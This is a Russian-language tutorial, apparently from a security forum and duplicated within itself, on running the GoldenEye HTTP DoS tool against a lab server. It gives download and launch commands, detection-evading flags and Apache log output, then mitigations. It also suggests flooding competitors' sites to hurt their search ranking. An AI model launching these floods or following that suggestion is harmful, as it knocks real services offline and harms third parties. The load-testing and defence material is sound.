На страницах codeby.net уже говорилось об инструментах DoS, которые могут сильно нагрузить серверы HTTP, чтобы парализовать их работу из-за исчерпания пула ресурсов. GoldenEye — это ещё один, со своими особенностями, который может положить сервер за 30 секунд, в зависимости от того, насколько велик пул его памяти. Конечно, он не работает на защищённых серверах и серверах за правильно настроенными WAF, IDS. Но это отличный инструмент для тестирования вашего веб-сервера на повышенную нагрузку. А на основании полученных результатов можно изменить правила iptables/файерволов для увеличения устойчивости и сопротивляемости к негативным факторам.
Это интересно:
Из поста автора GoldenEye:
Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно выделяют три вида DoS и DDoS атак:
DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows, Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха сервера.
DoS и DDoS атаки уровня протокола
DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория включает Synflood, Ping of Death и другие.
DoS и DDoS атаки насыщения полосы пропускания
Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые через поддельные пакеты.
Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы) говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого типа эта атака, т. к. они все одинаково вредны для сервера/сети.
Загрузка GoldenEye
Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt. Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:
Следующая большая команда создаст каталог, загрузит туда последнюю версию GoldenEye, распакует архив и сразу запустит GoldenEye (покажет справку по программе):
mkdir GoldenEye && cd GoldenEye && wget
Если вам хочется всё сделать самому — постепенно, то продолжаем. Для начала создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:
Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его содержимое:
Запуск GoldenEye – досим веб-сайт
Запуск очень прост, делается это так:
Программа показывает нам свою справку:
Необходимо осведомлять пользователей о расписании тестирования и возможных перебоях в работе. Поскольку часто результатом симуляции атаки является остановка работы.
Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку) других без их разрешения. Поскольку в случае причинения вреда, вы можете быть привлечены к ответственности в соответствии с законодательством.
Данная информация размещена в образовательных целях. Для тестирования своих серверов, для анализа качества их настройки и разработки мер противодействия атакам.
Запуск слегка различается от используемой вами ОС:
(или)
(или)
В зависимости от того, где вы сохранили файлы, подредактируйте ваш путь и команду.
Далее тесты GoldenEye:
Следить за состоянием сервера я буду командой
Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной оперативной памяти доступно 350 мегабайт.
Атака
Результат
Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует, но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.
Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя вообще-то, такая задача и не ставилась).
Анализ атаки GoldenEye
Посмотрим лог сервера:
Я использую grep -E '192.168.1.55', чтобы отфильтровать подключения только с машины, с которой велась атака.
Видим там примерно такое:
Одного взгляда на логи достаточно, что каждый запрос GET содержит различные строки, различные пользовательские агенты и различных реферов, среди которых Bing, Baidu, Yandex и другие рандомные поисковые системы.
Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.
Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это различные пользователи, пытающие зайти с одного IP (может быть IP прокси или большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.), различными операционными системами (Mac, Linux, Windows и т.д.) и даже с различными реферами. Да, возможно запрашиваемый URL был неправильным, но нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в то время как соединение будет оставаться открытым (например, Apache worker/socket). Стандартный веб-сервер обычно позволяет X число одновременных пользователей с одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке приводит к тяжёлому давлению на сервер и последующие пользователи получают ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может замедлить атаки на один IP для избежания начального выявления:
Вышеприведённая команда использует:
Интересное наблюдение по Google Analytics и GoldenEye
Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб-сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но различные рефереры и браузеры убеждают Google в том, что это отдельные пользователи). Можно придумать ещё пару способов эксплуатировать это:
Блокирование/защита от атаки GoldenEye
Следующие предложения хорошо сработают, когда вы используете Apache:
GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую разницу. Также она использует интересный способ перемешивания браузеров, операционных систем и рефереров, что может обмануть файервол.
В общем, это хороший инструмент для тестирования на нагрузку своего собственного веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и любых веб-приложений, которые позволяют входящие GET или POST запросы. Используйте её для обновления ваших правил файервола. WAF и благодаря этому избежите будущих атак.
Будет интересно послушать ваши решения для подобного типа атак — пишите их в комментариях. Ретвит и расшаривание статьи в соц. сетях приветствуются.
Это интересно:
- xerxes - Мошнейший инструмент для организации DoS-атак
- Пишем самый мощный инструмент для DoS атак [Python]
- Список лучших инструментов для DOS атак
Из поста автора GoldenEye:
- Этот инструмент предназначен только для целей исследования и любое другое вредоносное его использование запрещено.
- GoldenEye — это приложение на питоне для ТОЛЬКО ЦЕЛЕЙ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ!
- GoldenEye это инструмент тестирования HTTP DoS.
- Эксплуатируемый вектор атаки: HTTP Keep Alive + NoCache
Давайте пройдёмся по самой базовой информации об атаках DoS или. DDoS. Обычно выделяют три вида DoS и DDoS атак:
- DoS и DDoS атаки уровня приложений
- DoS и DDoS атаки уровня протокола
- DoS и DDoS атаки насыщения полосы пропускания
DoS и DDoS атаки уровня приложений — это атаки, которые нацелены на Windows, Apache, OpenBSD или другое программное обеспечение для выполнения атаки и краха сервера.
DoS и DDoS атаки уровня протокола
DoS и DDoS атаки уровня протокола — это атаки на уровне протокола. Эта категория включает Synflood, Ping of Death и другие.
DoS и DDoS атаки насыщения полосы пропускания
Этот тип атак включает ICMP-флуд, UDP-флуд и другие типы флуда, осуществляемые через поддельные пакеты.
Слова DoS и DDoS близки по значению. Когда атака ведётся с одной машины, обычно говорят о DoS атаке. При большом количестве атакующих из ботнета (или группы) говорят о DDoS атаке. Об этих атаках доступно много информации, но не важна, какого типа эта атака, т. к. они все одинаково вредны для сервера/сети.
Загрузка GoldenEye
Сторонние программы, установленные не из репозитория, я собираю в каталоге ~/opt. Если у вас нет каталога для сторонних программ, то создайте его и перейдите туда:
Код:
mkdir opt
cd opt
mkdir GoldenEye && cd GoldenEye && wget
Ссылка скрыта от гостей
&& unzip master.zip && cd GoldenEye-master/ && ./goldeneye.pyЕсли вам хочется всё сделать самому — постепенно, то продолжаем. Для начала создаём каталог GoldenEye, переходим туда и скачиваем архив с программой:
Код:
root@WebWare-Kali:~/opt# mkdir GoldenEye
root@WebWare-Kali:~/opt# cd GoldenEye
root@WebWare-Kali:~/opt/GoldenEye# wget https://codeload.github.com/jseidl/GoldenEye/zip/master[/ICODE]
[ATTACH type="full" alt="28532"]28532[/ATTACH]
После скачивания распаковываем файл архива master.zip.
[CODE]unzip master.zip
Теперь у нас появился каталог GoldenEye-master, переходим туда и проверяем его содержимое:
Код:
ls
cd GoldenEye-master/
ls
Запуск GoldenEye – досим веб-сайт
Запуск очень прост, делается это так:
Код:
./goldeneye.py
Необходимо осведомлять пользователей о расписании тестирования и возможных перебоях в работе. Поскольку часто результатом симуляции атаки является остановка работы.
Ну и все другие предупреждения: вы не должны тестировать (симулировать атаку) других без их разрешения. Поскольку в случае причинения вреда, вы можете быть привлечены к ответственности в соответствии с законодательством.
Данная информация размещена в образовательных целях. Для тестирования своих серверов, для анализа качества их настройки и разработки мер противодействия атакам.
Запуск слегка различается от используемой вами ОС:
Код:
root@WebWare-Kali:~/opt/GoldenEye/GoldenEye-master# ./goldeneye.py
Код:
sudo ./goldeneye.py
Код:
python goldeneye.py
Далее тесты GoldenEye:
Следить за состоянием сервера я буду командой
top
:Т.е. сервер находится в состоянии простоя, процесс полностью свободен, свободной оперативной памяти доступно 350 мегабайт.
Атака
Код:
./goldeneye.py http://192.168.1.37/info.php
Результат
Можно посмотреть по скриншоту, процессор по-прежнему практически бездействует, но количество свободной памяти резко сократилось, увеличилось количество спящих процессов.
Тем не менее, сервер не удалось полностью положить при атаке в один поток (хотя вообще-то, такая задача и не ставилась).
Анализ атаки GoldenEye
Посмотрим лог сервера:
Код:
cat /var/log/apache2/access.log | grep -E '192.168.1.55'
Видим там примерно такое:
Код:
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?vySSDx=tG1rmfX4HbYXBm&CKVuvV=JLoK&nHc8x=0x5YKQtvHs0HWS68 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.6 (KHTML, like Gecko) Version/6.0.5 Safari/535.17"
192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET /info.php?dC1FyXpw=hB6Oh&rjcf74A=YVA&YUtUXuDo2s=2pLY7nlq&SjyqoF=wUIx8Aq&tXkrfJRw=LsgED HTTP/1.1" 200 69504 "http://www.baidu.com/k1IkNXv" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) AppleWebKit/536.12 (KHTML, like Gecko) Chrome/10.0.623.89 Safari/536.26"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?0Nk7p=kSf&1eVF8PNy=UpDtxpDmJE2Fbx6&lPS=53T0AUI6Xu&5EbHY=scv1yBq8O6Y&JJthAkQqqk=HUEQBD5ONbAMxVlWHxai HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20021304 Firefox/12.0"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?SAQMIx5Pl=VWGEFj3q8N0 HTTP/1.1" 200 69504 "http://www.google.com/gCqMk2Q05?DxQe=67gW4HUd3iTKCu2qWSJ&ngWHMmS1=5XyoGh6q2sVlyHBdK&bl185B=anwKamnu2xK&RpI=HA0wNexUytc&uOqLV=6TNbGepqbnr&uu2fjtL63=u5lnA701na4cYYH0yN&TOY066XT=3WJQhmtXRyCo46HnbXY1" "Mozilla/5.0 (Linux x86_64; X11) Gecko/20010905 Firefox/17.0"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?jA5Kw=fwtSMfaPQ8XtCaK&Y0fBbDfSXd=8Jm5hqt&xPC=1qwBHvMDy7gl HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT 5.1; WOW64) Gecko/20011709 Firefox/23.0"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?t2U0aYjxm=q21n4BARB1&qxI1=cTw&XjGPpG=W3AAWvebbW HTTP/1.1" 200 69504 "http://www.baidu.com/bQnoS7ULAY" "Mozilla/5.0 (Windows NT.6.2; Win64; x64) AppleWebKit/536.10 (KHTML, like Gecko) Chrome/18.0.1844.44 Safari/537.21"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?nkIkop=6pivICjNb6&U3Y=dDlbGnW3feTEXCm&aH2JLMl=sGmkpeSLnTtXahs7agi&8htjBss=DFuXcUiJ5G5Fu7c HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; .NET CLR 3.0.8867; Intel Mac OS X 11_6_2)"
192.168.1.55 - - [18/Jun/2015:17:06:48 +0700] "GET /info.php?p6P23Hj=IcVgaSIUoVTanmFIDan&WWml82r3D=TCY8rta5YrwVsLJmrM HTTP/1.1" 200 69504 "http://www.baidu.com/fWaBwllK?aNP85MesWv=VhL6v32qtwyj&6CLwEBed=Eb73YTA24oYXmLk2w&Uy3wv=4pvNH8y&Jvirs=RJ4hKfRa&HyIYt8gtP=CHjm8OJaOP2djoQS&rm7bH=rukJ4726B14D3XOxDwJ6&QBkOD3=33qpPxVM3ih76MaSgnT&s7gO=3WrX3Vd&Vsh=A13d" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_1) AppleWebKit/536.10 (KHTML, like Gecko) Chrome/15.0.1172.45 Safari/535.15"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?so64O=2GhoHQaFy&DSmxwEWk=tYxV&y1C7mM=kQbuxco5oJfLPocGLl&kbItk4Rlj=LjVhrLgelmtLYDuldfF HTTP/1.1" 200 69504 "http://192.168.1.37/uxNqvi6EnN?cAyrBjvKc=OsSGuqs&rrlLD=2bKFfSyTf" "Mozilla/5.0 (Windows; U; MSIE 10.0; Windows NT 5.1; .NET CLR 2.2.16303; Win64; x64)"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?EXRbe03wp=fEBV5exjikcr8oNbEkmN&vpg8wYXv=DMGpYP1RMBUglSjbv4g&55prJ=fY78WvDU3vW7GaoW4etN&JWEFmlYFU=yFyBEk7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows; U; MSIE 8.0; Linux x86_64; .NET CLR 1.0.1395; X11)"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?7xIRdP0=8mjyacN&kEd2MwYtJ=bWhJvAH3A1H&xWe7vp6nH=faGl3PGJ4xAf&dSnj5CW=wOBRfkLbMrEWdmMFvov&xWPL3sYb=WN0yYPXu HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_0) Gecko/20062612 Firefox/18.0"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?lVn80y605=IDRbDmoiDyNBu HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_4) Gecko/20052008 Firefox/18.0"
192.168.1.55 - - [18/Jun/2015:17:06:52 +0700] "GET /info.php?mAthtfI=c4QdAopYyQGAsJAl0XUH HTTP/1.1" 200 69504 "http://www.yandex.com/jbOJRnhpii?fW4YmYLq=6A6f8qyxLRk6" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.27 (KHTML, like Gecko) Version/4.1.4 Safari/537.21"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?1nwS7r=g6qpYcfOre HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) Gecko/20053002 Firefox/15.0"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?00iHfl2=CGhueehx3DqR32D&MnPMIcqiTN=HcIR&GFgFaO=IJL HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_3_3) AppleWebKit/535.29 (KHTML, like Gecko) Chrome/19.0.1233.51 Safari/536.18"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?Ml1k=DFVW0F7 HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/8.0.1320.86 Safari/535.21"
192.168.1.55 - - [18/Jun/2015:17:06:51 +0700] "GET /info.php?khUn=xnRp0gXjlF&bl8TpeXEF5=28W&wPkB=cnOPTgwOpPGC&12cnFT6b=XNDSXFPdtraDsR&0FqigAn62=Kl4Y7pj2e7lj0nGoGN HTTP/1.1" 200 69504 "-" "Mozilla/5.0 (Windows NT.6.2; Win64; x64) AppleWebKit/537.3 (KHTML, like Gecko) Version/5.1.2 Safari/536.32"
Одного взгляда на логи достаточно, что каждый запрос GET содержит различные строки, различные пользовательские агенты и различных реферов, среди которых Bing, Baidu, Yandex и другие рандомные поисковые системы.
Так что происходит, когда ваш веб-сервер встречается с этой атакой? Он анализирует входящий трафик, проверяет запрашиваемые URL, адреса источников и поле Referrer и пропускает их с кодом 200 OK. Почему? Потому что каждый браузер был различным.
Инструмент был создан остроумно так, чтобы любой сервер мог подумать, что это различные пользователи, пытающие зайти с одного IP (может быть IP прокси или большой организации?) с различными браузерами (Firefox, Chrome, MSIE, Safari и т. д.), различными операционными системами (Mac, Linux, Windows и т.д.) и даже с различными реферами. Да, возможно запрашиваемый URL был неправильным, но нормальные веб-сервера всё равно пропустят его, перенаправят на страницу ошибки в то время как соединение будет оставаться открытым (например, Apache worker/socket). Стандартный веб-сервер обычно позволяет X число одновременных пользователей с одного IP и с большим количеством соединений/используемых сокетов, этот тип атаке приводит к тяжёлому давлению на сервер и последующие пользователи получают ошибку (HTTP 503 или наподобии). Следовательно, атакующий с несколькими рандомными proxy/VPN может быстро истощить ресурсы сервера. Он даже может замедлить атаки на один IP для избежания начального выявления:
Код:
root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py -w 10 -s 10 -m random
- -w = 10 одновременные рабочие
- -s = 10 одновременных соединений
- -m = рандом, смесь GET и POST
Интересное наблюдение по Google Analytics и GoldenEye
Я попробовал это в живую, чтобы просто посмотреть, как поведёт себя реальный веб-сервер. Интересно, оказывается что Google Analytics воспринимает этот трафик как реальный и добавляет данные от флуда в статистику (хотя он и идёт с одного IP, но различные рефереры и браузеры убеждают Google в том, что это отдельные пользователи). Можно придумать ещё пару способов эксплуатировать это:
- Можно повышать свой рейтинг в Google, т. к. она будет воспринимать это как легитимный трафик.
- Если Google будет наказывать за это, то тогда можно зафлудить веб-сайты конкурентов для понижения их ранжирования в Google.
Блокирование/защита от атаки GoldenEye
Следующие предложения хорошо сработают, когда вы используете Apache:
- Понижение соединений на один IP (обычно их 300 на IP для Apache)
- Редактирование порога соединений на IP
- Отключить настройки KeepAlive и нижний Connection Timeout (по умолчанию это 300)
- Если вы хоститесь на общем сервере, обратитесь к сисадминам. Если они не могут защитить от этой простой атаки, то просто переезжайте к
Ссылка скрыта от гостей.
- Используйте Web application Firewall (WAF).
- Использование белых листов для входящих запросов – и эта атака не окажет эффекта на ваш сервер.
- NGINX и Node.js вроде бы лучше справляются с атаками подобного рода.
GoldenEye выглядит как расширенная (или схожая на) HTTP Flooder программа. Обе работают похожим образом, но NoCache и KeepAlive от GoldenEye делают большую разницу. Также она использует интересный способ перемешивания браузеров, операционных систем и рефереров, что может обмануть файервол.
В общем, это хороший инструмент для тестирования на нагрузку своего собственного веб-сайта (с разрешения вашей хостинг компании), вашего корпоративного веб-сайта и любых веб-приложений, которые позволяют входящие GET или POST запросы. Используйте её для обновления ваших правил файервола. WAF и благодаря этому избежите будущих атак.
Будет интересно послушать ваши решения для подобного типа атак — пишите их в комментариях. Ретвит и расшаривание статьи в соц. сетях приветствуются.